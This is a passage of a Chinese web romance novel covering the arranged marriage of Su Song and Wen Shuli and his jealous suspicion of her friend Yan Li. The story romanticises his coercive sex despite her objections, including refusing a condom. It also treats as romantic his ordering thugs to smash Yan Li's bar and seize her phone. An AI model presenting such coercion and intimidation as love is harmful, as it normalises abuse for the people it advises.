温戍礼进来的时候,发现苏颂正在衣帽间发呆,他问:“你要出门?”
她明显已经洗过澡,衣服已经换过了,大白天,她没穿睡衣,但是也是比较舒适的居家服。
正盯着她藏“赃物”的角落发呆的苏颂,猛然被吓了一跳,不由得抱怨:“你走路怎么没声音?”
苏颂慎重考虑,又犹豫再三,还是决定,不能用那些东西。用了,她的形象就全毁了,以后温戍礼会怎么看她?
见她捂着胸口,一副被吓得不轻的样子。男人不知道女人是在心虚,道歉:“不好意思。”
035 他很直白,更是直接
简洁干脆,配上他万年不变的淡漠脸,完全感受不到歉意。
不过苏颂知道,这已经是温大少最好的态度了。莫强求。
“你今天怎么这么好说话。”苏颂有点奇怪的看他,这三年,他没有低过头,觉得不高兴就不回来,直接冷战,可今天已经两次道歉了。
苏颂一边说一边走,要出衣帽间的时候,被温戍礼抓住手臂,而后将她往一旁一扯,直接将人摁在墙上,另一手垫在她的后脑勺上,直接俯下身来。
“你又来?”这一次,苏颂偏头避开了,人不能在同一个坑摔两次,还是在同一天,那她也太没有记性了。
想起上午的场景,苏颂还是有点生气,哪有人在公共场合撩拨人的,而且还撩拨完就走。
她想推开他,可他抓得紧,根本抽不出来。
“你不能老是这样羞辱我。”如果他硬要,她是没办法的。
“我们是夫妻,这样不是羞辱。”在苏氏的时候,他是真有冲动的,可他不想说,自己因为怀疑她出柜,一晚上没睡,导致见到她的时候,失了控。
幸好,最后他及时收住了,然后匆匆定了最近一班机票回来。他发现,自己每次面对苏颂的问题,总有些想逃。
因为他怕,从她口中听到不想听的答案。
他们的婚姻,没有爱情支撑,很薄弱。
所以他还是吻了下去,没有爱,那就用性,他想要她,在家,他很直白,更是直接。
事后,温戍礼洗完澡出来,看着躺在床上没什么精神的苏颂,问:“不想再洗澡了吗?那我给你清理?”
见对方立刻坐起来,几乎是条件发射的,他的眼神有些黯淡。蓝色水晶手串,随着她穿衣服的动作,上下窜动,他问:“跟我做这种事,你觉得是羞辱吗?”
如果是指上午,场合不对,但他反应过来,有停下。可现在,她迫切想跟他保持距离的样子,刺痛他的眼。
他就是这样,天之骄子,从没人给过他委屈受,他难受,便不会让人好受,难听的话便随口而出:“穿情趣内衣勾引我的时候,也没见你觉得羞辱。”
房门被关上,有点用力,震得苏颂心疼。
她庆幸,自己没将那些东西拿出来,不然自己真可以去死了!
。
King会所
顾辽舟听说温戍礼来了,便过来打个招呼,结果却看见他在喝闷酒。
“没想到温大少还是个酒葫芦。”他半打趣地说,人跟着坐下。
温戍礼连看都没看他,顾自又添了酒,问:“对面那家,什么时候清理?”
他刚进来的时候,看见对面还在营业。
两天了,还没倒闭,那个女人也还在!
顾辽舟一听就明了:“又跟嫂子闹了?我不是听说嫂子回来了吗?”
温戍礼只喝酒,不作答。
顾辽舟摸着下巴,道:“你有问嫂子跟对面那个怎么回事吗?我之所以没动手,是觉得万一是误会呢?那是嫂子的朋友,真动了,以后被嫂子知道,会成为你们之间的芥蒂。”
其实顾辽舟是觉得,苏颂看起来不像拉拉,更认为是温戍礼在乱吃飞醋。谁能想得到,原本看起来最跟爱情绝缘的人,坠入爱河会是这样。
“误会?那是你还不了解苏颂。”
温戍礼是个理智的男人,可再理智,也会有不知所措的时候。
他没有交过女朋友,跟苏颂步入婚姻之后,初尝情事,他也沉沦过,头一年还好,他为了苏氏满世界飞,经常一周两周,甚至数月才回一次,他回去就想跟她做,她也算配合。
那段时间,在那种事上,不说默契,但也都陶醉其中。
可是这两年,他忙到深夜去找她,她还多次不太乐意,人的表现是不会骗人的,她的身体,在抗拒他。
“苏氏没事了,我也就没用了。”温戍礼自嘲一笑,今天也是,本来急着追回来找他,结果一听苏氏的危机解除,马上就躲进房间不理人。
“她只是装出来的温良,其实是只小野狼呢!”
他不喜欢将隐私的事情说出来给人听,但他查过,住在一起,又正值盛年的夫妻,一个月平均不到两次,怎么都算少。
现在他清楚了,不是苏颂欲望低,而是她有她人纾解。
找个女人?确实让人猜想不到。
见他冷笑,顾辽舟莫名的头皮发麻,看来是温戍礼对苏颂还心动着,是苏颂没上心。
不过很快,顾辽舟就想通了,圈子里谁都知道,苏家当时是急着找人救苏氏,才找上温家的。还有小道消息称,苏凤那个老太婆,还列了备用人选,如果温家不答应,就去周家。
所以温戍礼跟苏颂的婚事,比一般的联姻还塑料!毕竟只有苏家获利了,温家是赔钱又赔人。
这样一想,好像苏颂也不是个简单的人。
打住,他本意是来劝和的,怎么还被策反了?
看着一杯又一杯的好友,顾辽舟说:“不过你喝闷酒,她也不知道。我还给嫂子打个电话吧。”
。
苏颂坐在清吧里,有些魂不守舍,直到面前的桌子被用力拍了一下,才回神。
闫丽:“怎么回事,喊你好几声了。”
苏颂:“没有。”
闫丽在对面坐下来,一副将她看穿的样子:“又因为那个姓温的难过?因为他差点带了别的女人回家?”
“这还是小事。”苏颂显得苦恼,“不喜欢跟老公做”这种事,不知道怎么说,可闫丽,是她唯一能倾诉的对象了。
苏颂苦笑,说:“我可能有点坚持不下去了。”
不能离婚跟不想离婚,一字之差,却差别很大。当意识里不想的时候,一切都是抗拒的。
她盯着时钟,现在连十一点的门禁,她都抗拒,她害怕回去又会被阴阳怪气,她不想……见到他。
闫丽一听很诧异,因为时隔三年再见之后,苏颂聊得最多的就是温戍礼,就算生病,被一个人丢在家,她想的还是坐稳“温太太”这个位置,怎么就几天,全变了?
“你们不是和好了吗?”
036 刚睡完就想分,你渣还是他渣
“他去云城找你,你们还热烈地交织了。”说着,闫丽还配合地拍拍手。
苏颂瞪她:“丽姐,你再开黄腔,我跟你聊不下去了。”
闫丽失笑,苏颂虽然还是愁容满面,但嘴角也忍不住扬了一下,就在这时候,苏颂的手机响了,是个陌生号码,苏颂见是本地的长号,便接听,开了扬声器。
她想如果是广告诈骗,就让闫丽这张嘴炮轰她。
“嫂子,是我,戍礼在我这喝多了,我正好忙着,你方便过来接他吗?”
结果不是骗子,是浪子,顾辽舟这个浪子。
“我不……”苏颂开口就想拒绝,却被闫丽摇头示意。
“去”闫丽用嘴型说。
苏颂便说:“……好。”
挂了电话,苏颂不解的看着她,闫丽给她分析:“都坚持这么久了,现在放弃也太可惜了。我说了,他对你的身体感兴趣。”她的手指指着苏颂的脖子。
苏颂这才发觉,自己虽然穿了高领的衣服,但还是露出半个痕迹。
“刚睡完就想分。说我开黄腔,你比我还渣呢!”
“去接他吧,万一他是因为你才喝酒呢?”闫丽直接将人拉到门口,将她往对面推了推,调皮的眨眼,“就算要死心,也要他知道你喜欢他才行。
爱要大声说出来!”
玻璃门被关上。苏颂被深秋的风吹得激灵,整个人抖擞一下,慢吞吞的朝着对面走去。
。
楼上包厢里,服务生来敲门,进来后说:“温先生,楼下有个小姐问你要不要一起走。”
自打顾辽舟给苏颂打电话之后,这个人就没再接着喝酒了。他哪里看不出来,温戍礼就是在等苏颂,他也想苏颂来接他。
顾辽舟看破不说破,只笑道:“嫂子也是脾气大,都到这里了,也不直接给你打个电话,要不然直接说是‘温太太’,我这里的人,肯定立马领上来。”
作为南城最高级的会所,King的顶楼包厢,私密性绝佳,一般人上不来。
但身为温戍礼的老婆,肯定不能归为一般人。
身旁的位置已经空了,温戍礼接过服务生递过来的外套,说:“记账。”
是指今晚的消费了。
他的外套没穿,就挂在手臂上。
顾辽舟啧了一声:“就这么急!”
温戍礼下来,看到的却不是苏颂。手机在这会响起,看到来电显示,他吵四周环顾一圈,才接听。
“你在哪?”是苏颂的来电,可他没有看到她。
苏颂说:“我……我不能去接你了,我被车撞了。”
陈曼曼正要跟温戍礼招手,就看到他快步走来,急急匆匆的,然后直接掠过她。
“你在哪?我现在过去。”
陈曼曼喊他:“戍礼哥。”
“我有急事,你有事明天再到盛泰找我。”
语音未落,他已经扬长而去。
顾辽舟吹着口哨下来的时候,看到陈曼曼站在门边,盯着门外,一副失神的样子。他暂时还不知道原因,打趣一句:“曼曼妹妹,你在当雕像呢?”
陈曼曼说:“是发生什么事了吗?戍礼哥怎么走得那么急,他不是喝酒了吗?”
顾辽舟瞬间警铃大作:什么,苏颂没来接他?
他明白过来什么,心道,坏了,别自己好心又干了坏事。
瞬间看着身旁的陈曼曼都少了几分耐心,说:“你这次回来不是还带了男朋友?大晚上的,放着男朋友不陪,操心别人的老公干什么。”
陈曼曼:“……”
。
苏颂崴了脚,在家休息了三天,温戍礼另外请了个阿姨来照顾她,这个新阿姨做事勤快干净,还烧得一手好饭菜,特别合苏颂的胃口,把她整个人都吃圆了。
那晚,苏颂本来是要去接他的,抗拒归抗拒,她没忘记温戍礼救了苏氏,这一次又帮苏氏铲除了那些毒瘤,让苏氏及时止损。
于是,她一边过马路,一边给自己做思想工作,要自己多想想温戍礼的好。结果一个不留神,就被一辆急刹车的SUV给吓到了。
对方刹车及时,没有撞到她,是她被吓到,摔下去,才崴了脚的。
本来事也不大,是苏颂不想跟温戍礼亲近,借题发挥,才假装躺了好几天,不过今天不能继续躺平了,温戍礼已经去盛泰任职,温家那边要给他办宴会庆贺,她不能缺席。
肖直早早就带了妆造师团队过来,连礼服也是让品牌店的人运了几排过来给她选。
苏颂虽然很少参加宴会,但之前没有这样的排面。
她问:“今晚受邀的人,都很重要吗?”
助理肖直说:“都是温家的旁支,先生是想让温总在族人面前露露脸,以后方便行事。”
听起来,不是很隆重的样子啊!苏颂直接说:“这个排面,会不会太夸张了?”
十几个人围着她转!
肖直笑:“怎么会,这是属于‘夫人’该有的排面,以后您就会习惯了。”
笑话,他家上司都因为太太脚伤,把宴会时间一推再推了,如此重视,他要是还没点眼力劲,这个助理就可以不用当了。
因为开始化妆,苏颂不能动,用眼神睨过去,怎么觉得今天的助理怪怪的,连“您”都用上了。
夫人?听起来怎么那么像古代大宅里面,执掌家印的女主人?
可她,不是啊!
。
温家
顾辽舟看着在人群中笑颜如花的苏颂,同温戍礼说:“你这个老婆是不是还不知道,今天你爸给你办这个宴会的意思?
温叔是想正式宣布你是温家的继承人了,放在古代就是立太子啊,这太子妃怎么还需要亲自照顾宾客?”
更何况,温家这些旁支没几个像样的,基本都靠温家养着,根本没必要太看得起他们。
温戍礼看着苏颂笑得很开心的跟人碰杯,还体贴的帮客人喝完的空杯子,放回经过的侍者盘中,神色却是温和的。
虽说如顾辽舟说的,他的太太不需要做这些,但今晚,是他们的主场,她是女主人,女主人周到也不失为一种礼仪。
他品一口酒,开口:“果然你们顾家,是不讲礼数的。”
037 乱吃飞醋,还乱砸店?
顾辽舟:“……”不是,说话就说话,怎么还带骂人了!
偏偏所有人都知道顾家的发家史,纯靠野路子跟不要命。礼数?吃不饱的东西,他们不需要。
“我们今晚会住在这里,你去办你的事吧。”温戍礼抿了一口香槟,说。
顾辽舟没二话,把手中的酒一饮而尽,放下酒杯,人就出去了。
这边的苏颂笑得很开心,也不是多喜欢应酬,而是助理的话给了她野心,她想,既然温戍礼都进入盛泰了,那她是不是也可以争一争?
虽然林美丽跟那两兄弟都更早进入盛泰,看似更有胜算,但没到最后,鹿死谁手,还不一定啊。
“你今晚很开心?”温戍礼不知道什么时候过来。
跟苏颂说话的人去了别处聊天,这会就他们两人。苏颂靠近他,压低声音问:“你说,万一以后你们三兄弟真走到手足相残的地步,这些人能不能帮到你?”
今晚的她,喷了香水,淡淡的,很清雅,味道让他满意。虽然苏颂的能力差了点,但审美跟品味一直很好。今晚,她像一只优雅高贵的白天鹅,把那些人,都衬得黯淡无光。
一群乌合之众而已,他还不需要在意这些人的立场。
但,他还是想知道她是怎么想的。他悄无声息的的轻嗅,把她的芳香,吸入鼻腔中。声音低沉的问:“怎么?打算为我筹谋?”
苏颂点头,道:“夫妻本是一体,你要是能得到温家,我也算妻凭夫贵了。
到时候你别忘了,是我一直在你爸面前尽孝,博取好感,才让你有机会进盛泰的,现在,我也会帮你拉拢人脉。
所以以后有好的单子,适合苏氏的,你得优先给苏氏。这样的话,苏氏就不怕没订单了,有订单,就不会破产了。
苏氏不破产,奶奶就高兴了。”
本来听到她说“夫妻本是一体”,温戍礼还高兴她的感悟有所提高,结果她又说了一堆苏氏的话,敢情她绕这么大的圈子,又是为了苏氏!
“你怎么用这种眼神看着我?”苏颂抬眼,对上他的眼,不明所以的问。
因为他的眼神太奇怪了,既没有目空一切的傲,也没有情动之后的欲,这是苏颂从没见过的眼神。
温戍礼:“我还以为温太太无欲无求呢,原来也是个会祈愿的俗人。”
苏颂:“!”这张嘴,阴阳人一流。
“戍礼。”林美丽走过来,算帮了快裂开的苏颂一把,她对温戍礼说,“你爸喊你过去。”
温戍礼看表,宴会差不多要开始了,于是先去找他爸。临走前不忘叮嘱苏颂:“别乱跑了。”
苏颂盯着脚下,她走得脚疼了,大概被鞋磨破皮了,现在连站着都觉得疼,她讨厌穿跟鞋。
她走向角落的茶点区,正想休息一下,哪知道林美丽还跟了过来。
“看来戍礼挺在意你的。”
连今晚这样的场合都把苏颂叫来了,如果没感情,温戍礼完全可以在将来得到温家的一切之后,就把苏颂抛弃,压根儿没必要还在这种日子,把逼婚的妻子带过来。
林美丽发现自己越来越看不懂温戍礼了。
苏颂揉着脚踝,原以为休息几天已经好了,哪知道还是隐隐作痛。听到林美丽提及温戍礼,她含混:“他是我老公,当然在意我啊!”
“说起来,还得感谢阿姨,要不是当初你帮着说合,我们还不一定能在一起呢!”
苏颂几分恭维,说的也是实话,哪知道她的话听进林美丽耳朵里,却字字诛心!
仿佛苏颂笑得越天真无害,那把刀就扎得林美丽更深。
她当初是觉得苏氏快不行了,想让苏家拖温戍礼的后腿,谁知道,温戍礼根本就不需要靠老婆的娘家背景,温家打一开始就全是他的。
知道这件事的林美丽消化了好几天,证实之后,是越想越不甘心,她觉得自己被温航之给骗了。
“嘴上说谢谢,背地里却干着恩将仇报的事情。苏颂,你真能装。”
闻言,苏颂揉脚的动作一顿,抬头看去,要撕破皮了吗?
林美丽看着她,咬牙切齿的说,“温泰是因为你,才被打的吧?”
打人总需要理由吧,林美丽一开始想不明白,而温泰不是什么都不说,就是说什么他不想被废。那窝囊劲,更是要把她气死。
最后还是辞退莲嫂的时候,莲嫂提供最后一次情报中说,苏颂前阵子从温家回去后,骂过温泰,被她听见了。
林美丽顺着时间查,结果在家门口的监控里,还真的查到了——温泰调戏了苏颂!
当时林美丽是真恨铁不成钢,要不是儿子大了不能打,还真的想揍一顿。
此时,林美丽看着苏颂微微变色的表情,确定真相八九不离十。
她阴狠的说:“我不会放过你的。苏颂,你最好祈祷,戍礼是真在意你,会护着你。
别只是为了在我面前装恩爱。”
台上的致辞声已经响起,林美丽扭着妖媚的腰肢,张扬的离去。一副根本不把苏颂放在眼里的样子。
苏颂叹气:“你们的争斗,老扯上我干什么。”温戍礼当然不在意她,能帮她教训温泰一次已经是破例,她当然不敢奢望温戍礼隐忍继母多年,却会为了她,闹得温家不安宁。
这阵子他对她的态度,称得上守节有礼,只是在维持面上的和睦而已。
两人的关系,薄如蝉翼。
苏颂忧心忡忡,却不知这边的闫丽正面临无妄之灾。
Lily清吧
那些打手一进门就赶人,接着不由分说就是乱砸。闫丽听着那乒乓响的声音,这店是她花费了一年的精力打造的,砸的不是物品,是她的心血。
“你们干什么?我报警了!”
闫丽正要拨出电话,手机就被抽走。
她回头,看到顾辽舟。
“是你?!”
“我怎么了你,你要砸我的店?”
“难道你堂堂King会所的老板,还怕我这种小店?”闫丽是个嘴炮子,生气起来更是一句接一句。
顾辽舟做出掏耳朵的样子,显得为难的说:“不是我。”
038 枕边人温柔乡,情难自控
这句话,并没有让闫丽相信,她看到那些人要砸她的酒:“不能砸。”她想要上去阻止,人刚动,就被顾辽舟抓住。
“别进去,会受伤。”
“你个无耻,装什么好人。就因为我不想把店面转让给你,你就砸我的店!”
上次顾辽舟来找她,目的是要她别开了,把店铺卖给他。还让她从哪来,回哪去。
闫丽看着瘦,力气却很大。为了避免她挣脱,顾辽舟只能用另一只手,抓住她的手臂,表情有些不耐的说:“看来我上次跟你说的,你没听进去。”
虽然没耐心,但是他顾辽舟从不对付女人,这是第一次,他有帮她争取过,但她千不该万不该,不但不离开,还把苏颂带回云城去,两人还同房了一晚,彻底激怒温戍礼。
回来后也不搬走。
那他没办法了。
“你这么一家破店,有什么值得我惦记的?至于店铺,你还没有拿到房产证吧?你以为我那个堂哥是个什么好东西,他拿着这半条街的铺面,套钱呢。”
见闫丽安静了,顾辽舟便松开手,原以为能好好谈了,哪知道闫丽踹了他一脚,撒腿就跑。
“你个臭婆娘……”她的鞋跟又细又长,这一脚,让他的小腿淤青了一块。
。
温家的宴会已经结束,苏颂不知道还要留宿在温家,这间房,只有她跟温戍礼结婚那一晚住过,第二天他们就搬去大平层了。
她有点紧张,因为她总觉得,今晚会发生点什么。
“别担心,他是个大好人,救了苏氏,就是救了苏家,是我的大恩人。”苏颂像以往一样给自己洗脑,可是今晚有些不管用。
那天的不欢而散就像昨日刚发生的一样,他嘲弄她穿情趣内衣不知羞!
尊严这种东西,不去正面触碰的时候,还能遮遮掩掩,找理由劝慰自己,可一旦被正面撞击,它就会自动形成保护屏障,并且对攻击它的人产生条件反射。
一想到要跟温戍礼做,她现在满是抗拒。
“哒”,房门被打开。
苏颂麻溜的躺下装睡。脚步声越来越近,苏颂的呼吸也越来越紧。
他来了,他来了!
“煮碗醒酒汤给我,苏颂。”
就在苏颂紧张不已的时候,温戍礼略显疲惫的声音响起。
十分钟后,苏颂看着温戍礼喝完一碗汤。
好在上次补办,她放了一包在包里,本来是想着她哪天要是又出去喝酒了,就先煮点喝了解酒去去味再回家,没想到今晚倒是用上了。
她不想出去,这里是温家,不想碰上谁被多话。好在房间的小客厅有养生壶,她简单煮了一份。
“喝了很多吗?”苏颂看他喝完还眉头微蹙,一副不好受的样子。这是很少见的,毕竟温戍礼的身份摆在这,他应酬都是随意。
她观察着他,内心在想,喝大了,就不会想那事了吧?毕竟网上说,真正喝大了的男人是不行的。
下一秒,就被一只大手搂进怀里。
身体相贴,苏颂立马敏锐起来:网上说的不准!!
可这却被男人误以为她是特意为他准备的。“你还真贴心。”温戍礼说。他的脑袋靠在她的脖颈间,喷热的呼吸一下一下的打在她的皮肤上,让人起了一层鸡皮疙瘩。
苏颂想推开他,结果两手刚搭上他的双肩,听到他又说:“你真的很适合当温太太。
如果你一直都这么懂事温顺的话。”
不想着出轨,不想着别人,好好跟他过日子的话,他想,他想……就算只是利用他,也不是不行。
他摇了摇头,否定自己这个荒谬的想法。
“苏颂,是你们上门,要求我娶你的,所以,一定要当好‘温太太’,知道吗?”是她有求于他,凭什么是他卑微?
苏颂很反感“温太太”这三个字,因为一听到,就会想起两年前,他一句“让我联姻就要有联姻的觉悟,做好温太太的分内事”,打碎她所有幻想。
“你还说你没有羞辱我……啊!”苏颂被他一把抱起,温戍礼将人摔在床上。
动作粗鲁,苏颂望着站在床边脱衣服的男人,第一次觉得他非常高大,好像强壮得,能压死她一样。
浮浮沉沉间,麻木的苏颂猛然瞪大眼睛:“等等,你没有戴……”
男人发出喟叹,满足地抽身,几乎的同一时间,苏颂就跳下床,去洗手间清洗。
隔天,苏颂化好妆,下楼吃早餐,她刚坐下去,温航之就起身离桌,还叫上温戍礼。
“我不去公司,你来把文件带过去。”
两人一走,餐桌上就剩她跟林美丽。苏颂有些走也不是,坐也不是,她不想跟林美丽独处,但她又还没吃,没理由走。
这就是她不喜欢在这里用餐的原因,一个一个的,都显得不待见她一样。她还以为,公公对她是改观了呢,结果她一来,他就走,好像意见比之前还大。
苏颂找不到原因。
对面的林美丽却冷笑一声:“我就说,戍礼怎么会为了你打阿泰,原来是枕边人温柔乡。
苏颂,你太会藏了,不止会扮猪吃虎,御夫手段也高嘛。
不过下次记住,这里不是只有你们两,动作轻点,晚上不要脸,白天还做不做人,嗯?!”
林美丽咬重音节,严重表达不满,她说完,苏颂整张脸也红透了。
……
车上,苏颂有些局促不安,一想到昨晚做那种事,被听了个全程,她就难以镇定,似乎,现在连跟温戍礼坐同一辆车,都让她感到压抑。
她不明白,他为何要那样。
“昨晚没睡好?”温戍礼早上有看财经杂志的习惯,他翻过页面,像是随意的开口。
但哪是随意,她眼下的黑眼圈那么重,就算上了重粉,也遮不住的憔悴。
“还用问吗。”苏颂不满,但在理智占据脑子的时候,她对温戍礼一向都是敢怒不敢言,她低着声音控诉,“你为什么不用……”
套的。
前面有司机,苏颂说不出口。
温戍礼收起杂志,看向她:“又不是没有不戴过。”
039 知道疼就别乱动
男人在这方面,比女人更放得开,“也没见你怀孕过。你到底在怕什么?”
他目光深邃,声音低沉,带着压迫感。他在不悦。
明明这样做是苏颂吃亏,他凭什么质问她。
掐着掌心的手背感受到一滴温热,是她落下的泪。
温戍礼没想到她会哭,有些慌神,伸手要去给她擦眼泪,伸到一半又缩回,他有些不知道怎么办。
“哭什么?我说的不是实话吗?头一年,我们……”
“我不想听。”苏颂转头面向车窗外。
十天了,从上次她订了酒店,最后聊天不欢而散,他摔门而去,已经过去了足足十天,她不再提,不代表心里不介意。
委屈跟不甘在这一刻都爆发了。
“是你说不想生孩子的。”她压抑不住抽泣着说,“我们都是大人了,应该对自己的行为,以及说过的话负责任。
万一有了呢!”
“有了就生。”
男人的话,让苏颂顿住,悬挂在脸上的眼泪摇摇欲坠,让她这张苍白的脸,更添可怜。
温戍礼说:“我又不是养不起。”
“可是你说你不想……”
“你不生,怎么知道我不想。”他又低头继续看杂志了,好似刚才的争论只是个无关紧要的小插曲。
却不知他的话,在苏颂心里掀起多大的风浪。
大概是因为苏颂在车上情绪失控过,所以温戍礼改变原先说的先去公司,让司机再送她回去的决定。司机先送他们回来。
温戍礼也跟着下车,上楼了。
苏颂一进门,就迫不及待的将跟鞋换下来,她想顾及一下形象,但脚上真的太疼了,扭到的地方疼,磨破皮的地方也疼,忍到家,已经是她的极限。
温戍礼看她扭动的样子,看出问题所在,问:“脚疼?”随后对阿姨道,“把药泡了端进房间。”说完,他一把将苏颂打横抱起,直接往房间去。
苏颂在回来的时候,已经给阿姨发消息先泡药了,所以泡脚水很快就被端进来。
苏颂觉得从昨晚到今天的温戍礼已经够失常了,哪知道他还蹲下去,准备给她泡脚。
“不可以……”苏颂收回的动作比他的手更慢。
“嘶~”被抓的正好是受伤那只脚。
“知道疼就别乱动。”他将她的脚往药水里面泡,刚好的温度,让那些疼痛瞬间舒缓不少。
阿姨见小两口打情骂俏呢,识相的退出房间,关上门。
“我不知道你在生气什么,我说的都是实话。”
他总是这样,用最冷静的表现,就能折磨到人,他太自我了。
“你说不想要的,宝宝应该是在父母的期待下到来,才能更好,更健康的成长。”
温戍礼抬头看她,抿直的唇角,彰显着他的耐心有限。苏颂闭嘴,她不想跟他起争执,最近他们好像争论的事情有点多,她有点乱,瞬间理不清头绪。
都因为什么事,闹来着?
“那你说,你想要吗?”
见苏颂不回答,温戍礼将她的脚抬起,放上来。人站起来,居高的看着她:“你好好想想,你要给我生孩子吗?”
“啪-嗒。”门开了又关。
苏颂看着被放在毛巾上面的双脚,他还知道帮她裹起来再走。
苏颂维持这个姿势不知道多久,直到阿姨进门来收盆,结果发现苏颂看着自己的脚在发呆。
“太太,是不是又疼?我叫医生来。”
“我想起来了。”苏颂忽然两眼发亮,抬起头说,“我们第一次吵,是那一晚。”
他帮她教训了温泰那一晚,那晚,她第一次知道,原来他冷静之下,也带着狠劲,猖狂的温泰能被他几句话压制住。
回来之后,他问她打温泰的原因,后来他们的情绪都不太好,她被温泰骚扰,也很烦躁,说话冲了点,再后来,他就问她,是不是想绿了他。
“他不信任我?所以才觉得我不想给他生孩子?”苏颂想不通,给闫丽打去电话,想要请教她。
结果电话通了,一直没人接。
“怎么回事?在忙吗。”
。
温戍礼刚到公司,顾辽舟的电话就打进来,他火急火燎的说:“怎么办,那女人的手机在我这,嫂子给她打电话了。”
温戍礼进办公室的脚步一顿,停顿半秒之后进去,助理关门,隐隐察觉到了上司的不对劲,顿时打起十二分精神。
电话那端,隐约还能听到手机的震动声。温戍礼很生气,他才刚走多久,她又给那个清吧老板打电话,这是卡准他来公司了,不会回去,她们就又准备私会了吗?
他克制着情绪,开口:“砸了。”说完,挂断电话。
温戍礼转身坐下,在办公桌后,甩出一个文件,道:“通知市场部,三天之内,跟新加坡那边续约,按照这个合同的所有条件。
懂?”
助理腰杆挺直,直直的俯身去接那份文件,应:“是。”
内心却在说,上司又要大开杀戒,顺他者昌,逆他者亡了。有人要倒霉了,绝不能是自己!
随即,脚步旋转,坚定的下达任务去了。
。
苏颂昨晚没睡好,下午睡了一下午,被来电吵醒,她一看,是奶奶的来电,马上接听。
“奶奶,是苏氏又发生什么事了吗?”
手机传来苏凤的声音:“你怎么一开口就盼着公司不好?”
苏颂已经完全醒神了,听奶奶这语气,知道不是坏事,放松下来,傻笑着回:“没有。”
“奶奶,你打电话给我,有什么事吗?”还是换个方式问吧,她不想被奶奶继续念叨。
苏凤一板一眼的说:“我是想跟你说,温戍礼这次给公司聘请的职业经理人很不错,他对苏氏是真的用心用力,之前是我听信那些人的话,误会他了。”
当时苏颂听那些股东说完就不太信了,果然,她的直觉没错。苏颂心情美滋滋的,而她毫无发觉,她在点滴相处中,已经对自己的丈夫多依赖、多信任。
苏凤又说“我再观察几天,如果这个人确实能管理好苏氏,我也就放手让他打理,真老了,最近跑来跑去,真感到力不从心了。
到时候我去看看你,再当面谢谢他吧。”
没想到这一次,奶奶还想自己亲自来面谢,她奶奶要强了一辈子,且又是长辈,温戍礼是她孙女婿,如果不面谢,也不会有人说什么。
看来他这次请的经理人真的很厉害,让奶奶都觉得放心。
不过她在意的点不在这,她嫁给温戍礼三年了,奶奶都没有来看她过,这次要来看她,让她好高兴。
“好啊好啊。”苏颂满口答应。
040 送餐也是贤妻的必修课之一
挂了电话,苏颂也讶异,温戍礼不说一声,就离开苏氏自己回来,她还以为他不管苏氏了,结果还给苏氏找了一位优秀的经理人。
“他怎么做什么都不跟我说一下啊!我什么都不知道,当然也没办法表达自己的想法啊!”苏颂觉得自己误会他了。
其实她睡了一觉,又把自己给想通了,特别是听奶奶说了这件事之后,对温戍礼的芥蒂又都压下去了,不是没有,而是可以忽略。
这三年,她都是这样过来的。不管是被他的冷淡伤到,还是被他的自大打击到,甚至是他若即若离,难以沟通的时候,她就想,他对苏氏力挽狂澜,功不可没,是她的大贵人。
总之,只要想到温戍礼对苏氏做的一切,所有小打小闹,苏颂都能不计较。
不是她为了利用他,而是她清楚,人不可能完美,他们的婚姻一开始的目的就是为了苏氏,达成所愿,就是美好。
不出轨就好了。
光想不行,还得干。苏颂立刻给温戍礼打去电话,结果电话通了,没接听。
她嘀咕:“怎么今天打电话都没接的啊!”
。
盛泰这边,温戍礼在办公室里,看到苏颂的来电了,但他是直接看着铃声响到没声,最后手机屏幕又暗下去。
然后,就没有再等来第二个电话了。他微不可查的轻嗤一声。
苏颂,你也就这点态度!
顾辽舟推开门进来,正好碰上他心情很不爽的时候。
温戍礼说:“外面的人都死了,还能让你手残?连敲门都不会。”
顾辽舟站在门边,有种风中凌乱的感觉,此时他一手在门把上,一手还再兜里,但却有种进退两难的地步。
真,跟他家族里那些老东西谈判,还没有这么大的压力。
“哇靠,不就是要你帮我买回那半条街而已,还是我自己掏钱,用不用动不动就被你羞辱?
乙方也是人啊!”
顾辽舟也不是个好脾气的,合作也不能让他丧失尊严啊,孰能忍孰不能忍。
他用力甩上门,两手插进兜里,晃着两条大长腿走进来。
苏颂也说他羞辱她,一想到苏颂,温戍礼心情就更不好了,但到底没再刺人。
顾辽舟是个该较真较真,该含糊就含糊,随机应变很强的人。毕竟温戍礼嘴毒,但他也嘴欠啊,平常他损温戍礼的也不少,半斤八两罢了。没存在真的计较。
他走过去,递给温戍礼一根烟。
香烟是男人社交的好帮手。
温戍礼接过,见顾辽舟掏打火机,他说:“我有火。”
后者笑了一声:“看出来了。”
一语双关。
“啪嗒”打火机几乎同时响起,两个在外人眼里不可一世的男人,此时默默地借烟消愁。
半晌,顾辽舟先开口:“怎么?刚进入盛泰,有人给你穿小鞋?其实我那会也是,那班人面上叫我‘大少爷’,背后都去我爸那告状,但他们也不想想,我才是我爸的亲儿子,所以后面我站稳脚跟之后,就收拾他们了。”
他分享着自己的经验给好友,以为温戍礼心情不好是工作原因。
哪知道温戍礼说:“所以你到现在都没有得到顾氏。睚眦必报,不是上位者的胸怀。”
想传道的顾辽舟反而被授道,回头去看他。这会他就倚靠在办公室边站着,这一回头,跟温戍礼距离不远,又是居高临下的角度,顿时看到他脖子上的痕迹。
位置靠后,但应该很长,衣领遮不太住。
“啧”顾辽舟很讶异的口气,“我还以为谁招惹你了,又是嫂子?”
“以我丰富的经验看,当时嫂子的怨气不小。”一看就是从后背抓,一把扯到前面来了,下手多狠啊!
温戍礼咬着烟,垂眼看着自己的左下方,虽然看不到,但那里一上午都热辣辣的疼。
昨晚,他在最后发力的时候,她也在用力,她抓了他。
这几年,他们也有过情到浓处的时候,在那种事上,她总是很含蓄的压制住自己,可她越是这样,就越是会激起他鲜为人知的恶劣,他偶尔也会故意弄她。她忍耐到没办法,就会抓他,但从没有这样抓破皮过。
昨晚,她是下了死手的,就因为他没有采用措施。她便伸出魔爪!
见温戍礼不说话,顾辽舟疑惑:“那个女人已经离开了,怎么你们两口子还是闹别扭?”
他已经说过温戍礼对付闫丽,是治标不治本。所谓当局者迷,听不进去,他不会再提。
顾辽舟这会又起了恶趣味,笑着打趣:“还是你喜欢这样的?戍礼,想不到你还是个闷骚的。”
他挤眉弄眼的样子,真让人想打他!
“那半条街只到手两间商铺,其他不想要了?”
瞬间,顾辽舟就不敢嘻嘻了。他站直,在口袋里掏了掏,拿出东西,最后放在办公桌上,是一张手机卡。
“那个女人的手机卡,我想你可能想要。”这是他砸完手机又抠出来的。
温戍礼看着那小拇指般大的东西,没说他想不想要,却道:“Lily清吧的商铺产权,我会让人尽快转到你那。”
意思很明显,他的马屁又拍对了。
